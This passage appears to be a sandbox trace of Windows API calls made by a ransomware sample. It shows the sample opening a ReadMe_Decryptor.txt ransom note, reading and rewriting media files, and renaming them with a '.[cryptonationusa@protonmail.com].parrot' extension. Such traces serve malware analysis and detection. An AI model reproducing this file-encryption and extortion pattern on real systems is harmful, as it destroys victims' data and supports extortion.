(HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0034.315] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f2a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x264 [0034.316] GetFileType (hFile=0x264) returned 0x1 [0034.316] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0034.326] lstrcmpW (lpString1="MKT08guE_.mp3", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.326] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\MKT08guE_.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\mkt08gue_.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x264 [0034.327] GetFileSize (in: hFile=0x264, lpFileSizeHigh=0x18f530 | out: lpFileSizeHigh=0x18f530*=0x0) returned 0x107be [0034.327] LockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x108d6, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.327] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.327] ReadFile (in: hFile=0x264, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0034.328] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0034.328] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x107be, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x107be, lpOverlapped=0x0) returned 1 [0034.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0034.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0034.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0034.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0034.328] GetLastError () returned 0x0 [0034.328] SetLastError (dwErrCode=0x0) [0034.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0034.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0034.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0034.328] GetLastError () returned 0x0 [0034.329] SetLastError (dwErrCode=0x0) [0034.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0034.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.329] GetLastError () returned 0x0 [0034.329] SetLastError (dwErrCode=0x0) [0034.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0034.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0034.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0034.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0034.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0034.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x649228 [0034.329] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0034.330] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x64d268 [0034.330] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0034.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x6552a8 [0034.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64d268 | out: hHeap=0x5b0000) returned 1 [0034.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20033) returned 0x6652e8 [0034.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6552a8 | out: hHeap=0x5b0000) returned 1 [0034.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe) returned 0x6069b0 [0034.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0034.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0034.334] GetLastError () returned 0x0 [0034.334] SetLastError (dwErrCode=0x0) [0034.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0034.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0034.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0034.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0034.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0034.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0034.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x606b58 [0034.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5d1760 [0034.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606b58 | out: hHeap=0x5b0000) returned 1 [0034.335] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0034.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0034.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0034.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0034.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0034.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0034.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0034.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0034.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0034.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0034.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0034.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0034.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0034.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0034.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0034.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0034.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0034.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0034.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b4e0 [0034.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0034.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x606b58 [0034.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b4e0 | out: hHeap=0x5b0000) returned 1 [0034.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d18e8 [0034.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606b58 | out: hHeap=0x5b0000) returned 1 [0034.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5cc638 [0034.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d18e8 | out: hHeap=0x5b0000) returned 1 [0034.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x60c798 [0034.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc638 | out: hHeap=0x5b0000) returned 1 [0034.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6105c0 [0034.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0034.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0034.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0034.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0034.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0034.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0034.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0034.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0034.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0034.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0034.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0034.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0034.387] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0034.387] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x649228 [0034.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0034.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x64c1c0 [0034.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0034.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x650910 [0034.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64c1c0 | out: hHeap=0x5b0000) returned 1 [0034.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x6573f0 [0034.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x650910 | out: hHeap=0x5b0000) returned 1 [0034.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x685328 [0034.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6573f0 | out: hHeap=0x5b0000) returned 1 [0034.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x649228 [0034.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685328 | out: hHeap=0x5b0000) returned 1 [0034.432] WriteFile (in: hFile=0x264, lpBuffer=0x649240*, nNumberOfBytesToWrite=0x108d8, lpNumberOfBytesWritten=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x649240*, lpNumberOfBytesWritten=0x18f4b4*=0x108d8, lpOverlapped=0x0) returned 1 [0034.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0034.432] UnlockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x108d6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0034.432] CloseHandle (hObject=0x264) returned 1 [0034.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x606b58 [0034.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x5d18e8 [0034.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606b58 | out: hHeap=0x5b0000) returned 1 [0034.434] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\MKT08guE_.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\mkt08gue_.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\MKT08guE_.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\mkt08gue_.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0034.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d18e8 | out: hHeap=0x5b0000) returned 1 [0034.435] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0034.435] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6652e8 | out: hHeap=0x5b0000) returned 1 [0034.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0034.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x606b58 [0034.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0034.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0034.435] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f2a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x264 [0034.436] GetFileType (hFile=0x264) returned 0x1 [0034.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0034.445] lstrcmpW (lpString1="OVpia1PfwQxJi0A8_9.avi", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.445] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\OVpia1PfwQxJi0A8_9.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\ovpia1pfwqxji0a8_9.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x264 [0034.446] GetFileSize (in: hFile=0x264, lpFileSizeHigh=0x18f530 | out: lpFileSizeHigh=0x18f530*=0x0) returned 0x1249f [0034.446] LockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x125b7, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.446] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.446] ReadFile (in: hFile=0x264, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0034.446] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0034.447] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1249f, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x1249f, lpOverlapped=0x0) returned 1 [0034.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0034.447] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0034.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0034.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0034.447] GetLastError () returned 0x0 [0034.447] SetLastError (dwErrCode=0x0) [0034.447] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0034.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0034.447] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0034.447] GetLastError () returned 0x0 [0034.447] SetLastError (dwErrCode=0x0) [0034.448] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0034.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.448] GetLastError () returned 0x0 [0034.448] SetLastError (dwErrCode=0x0) [0034.448] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0034.448] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0034.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0034.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0034.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0034.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x649228 [0034.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0034.450] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x64d268 [0034.450] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0034.452] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x6552a8 [0034.453] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64d268 | out: hHeap=0x5b0000) returned 1 [0034.453] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20033) returned 0x6652e8 [0034.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6552a8 | out: hHeap=0x5b0000) returned 1 [0034.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf) returned 0x606998 [0034.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0034.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0034.454] GetLastError () returned 0x0 [0034.454] SetLastError (dwErrCode=0x0) [0034.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.454] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0034.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0034.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0034.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0034.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0034.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0034.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x606b58 [0034.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5d1760 [0034.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606b58 | out: hHeap=0x5b0000) returned 1 [0034.455] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0034.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0034.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0034.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0034.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0034.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0034.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0034.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0034.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0034.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0034.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0034.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0034.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0034.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0034.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0034.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0034.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0034.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0034.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b4e0 [0034.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0034.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x606b58 [0034.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b4e0 | out: hHeap=0x5b0000) returned 1 [0034.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d18e8 [0034.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606b58 | out: hHeap=0x5b0000) returned 1 [0034.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5cc638 [0034.455] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d18e8 | out: hHeap=0x5b0000) returned 1 [0034.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x60c798 [0034.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc638 | out: hHeap=0x5b0000) returned 1 [0034.456] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6105c0 [0034.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0034.456] 